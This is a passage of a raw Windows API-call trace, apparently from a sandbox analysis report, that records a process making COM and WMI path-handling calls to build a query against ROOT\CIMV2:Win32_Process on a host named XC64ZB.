[0130.583] WbemDefPath:IUnknown:Release (This=0x1b433a50) returned 0x0 [0130.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb30 | out: ppvObject=0x1b10cb30*=0x351680) returned 0x0 [0130.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbc0 | out: ppvObject=0x1b10cbc0*=0x0) returned 0x80004002 [0130.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3b8 | out: ppvObject=0x1b10c3b8*=0x0) returned 0x80004002 [0130.583] WbemDefPath:IUnknown:AddRef (This=0x351680) returned 0x3 [0130.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c278 | out: ppvObject=0x1b10c278*=0x0) returned 0x80004002 [0130.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c200 | out: ppvObject=0x1b10c200*=0x0) returned 0x80004002 [0130.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x1b433e10) returned 0x0 [0130.583] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433e10, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c218 | out: pCid=0x1b10c218*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.583] WbemDefPath:IUnknown:Release (This=0x1b433e10) returned 0x3 [0130.583] CoGetContextToken (in: pToken=0x1b10c2a0 | out: pToken=0x1b10c2a0) returned 0x0 [0130.583] CoGetContextToken (in: pToken=0x1b10c720 | out: pToken=0x1b10c720) returned 0x0 [0130.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7e0 | out: ppvObject=0x1b10c7e0*=0x0) returned 0x80004002 [0130.584] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x2 [0130.584] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x1 [0130.584] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0130.584] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0130.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x1b10d570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x351680) returned 0x0 [0130.584] WbemDefPath:IUnknown:AddRef (This=0x351680) returned 0x3 [0130.584] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x2 [0130.584] WbemDefPath:IWbemPath:SetText (This=0x351680, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0130.584] IWbemClassObject:Get (in: This=0x1b431e30, wszName="__SERVER", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=0, plFlavor=0x1b10dab8*=0 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0130.584] SysStringByteLen (bstr="XC64ZB") returned 0xc [0130.584] SysStringByteLen (bstr="XC64ZB") returned 0xc [0130.584] IWbemClassObject:Get (in: This=0x1b431e30, wszName="__NAMESPACE", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0130.585] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0130.585] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0130.585] IWbemClassObject:Get (in: This=0x1b431e30, wszName="__CLASS", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0130.585] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0130.585] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0130.585] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0130.585] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0130.585] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0130.585] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.586] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b4335d0) returned 0x0 [0130.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4335d0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0130.586] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4335d0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352340) returned 0x0 [0130.586] WbemDefPath:IUnknown:Release (This=0x1b4335d0) returned 0x0 [0130.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352340) returned 0x0 [0130.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0130.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0130.586] WbemDefPath:IUnknown:AddRef (This=0x352340) returned 0x3 [0130.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0130.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0130.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b4336f0) returned 0x0 [0130.586] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4336f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.586] WbemDefPath:IUnknown:Release (This=0x1b4336f0) returned 0x3 [0130.586] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0130.587] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0130.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0130.587] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x2 [0130.587] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x1 [0130.587] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0130.587] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0130.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352340) returned 0x0 [0130.587] WbemDefPath:IUnknown:AddRef (This=0x352340) returned 0x3 [0130.587] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x2 [0130.587] WbemDefPath:IWbemPath:SetText (This=0x352340, uMode=0x4, pszPath="") returned 0x0 [0130.587] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0130.587] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0130.587] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0130.587] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.588] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b4335d0) returned 0x0 [0130.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4335d0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0130.588] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4335d0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352c40) returned 0x0 [0130.588] WbemDefPath:IUnknown:Release (This=0x1b4335d0) returned 0x0 [0130.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352c40) returned 0x0 [0130.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0130.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0130.588] WbemDefPath:IUnknown:AddRef (This=0x352c40) returned 0x3 [0130.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0130.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0130.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b433630) returned 0x0 [0130.588] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433630, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.588] WbemDefPath:IUnknown:Release (This=0x1b433630) returned 0x3 [0130.589] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0130.589] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0130.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0130.589] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x2 [0130.589] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x1 [0130.589] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0130.589] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0130.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352c40) returned 0x0 [0130.589] WbemDefPath:IUnknown:AddRef (This=0x352c40) returned 0x3 [0130.589] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x2 [0130.589] WbemDefPath:IWbemPath:SetText (This=0x352c40, uMode=0x4, pszPath="") returned 0x0 [0130.589] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0130.589] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0130.589] WbemDefPath:IWbemPath:GetClassName (in: This=0x352c40, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0130.589] WbemDefPath:IWbemPath:GetServer (in: This=0x352c40, puNameBufLength=0x1b10da10*=0x0, pName=0x0 | out: puNameBufLength=0x1b10da10*=0x0, pName=0x0) returned 0x80041009 [0130.589] WbemDefPath:IWbemPath:SetServer (This=0x352c40, Name="XC64ZB") returned 0x0 [0130.589] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0130.589] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0130.590] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0130.590] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.590] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b433690) returned 0x0 [0130.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433690, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0130.590] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433690, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352700) returned 0x0 [0130.590] WbemDefPath:IUnknown:Release (This=0x1b433690) returned 0x0 [0130.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352700) returned 0x0 [0130.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0130.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0130.591] WbemDefPath:IUnknown:AddRef (This=0x352700) returned 0x3 [0130.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0130.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0130.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33a660) returned 0x0 [0130.591] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a660, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.591] WbemDefPath:IUnknown:Release (This=0x33a660) returned 0x3 [0130.591] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0130.591] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0130.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0130.591] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x2 [0130.591] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x1 [0130.591] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0130.591] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0130.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352700) returned 0x0 [0130.592] WbemDefPath:IUnknown:AddRef (This=0x352700) returned 0x3 [0130.592] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x2 [0130.592] WbemDefPath:IWbemPath:SetText (This=0x352700, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0130.592] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10d978 | out: 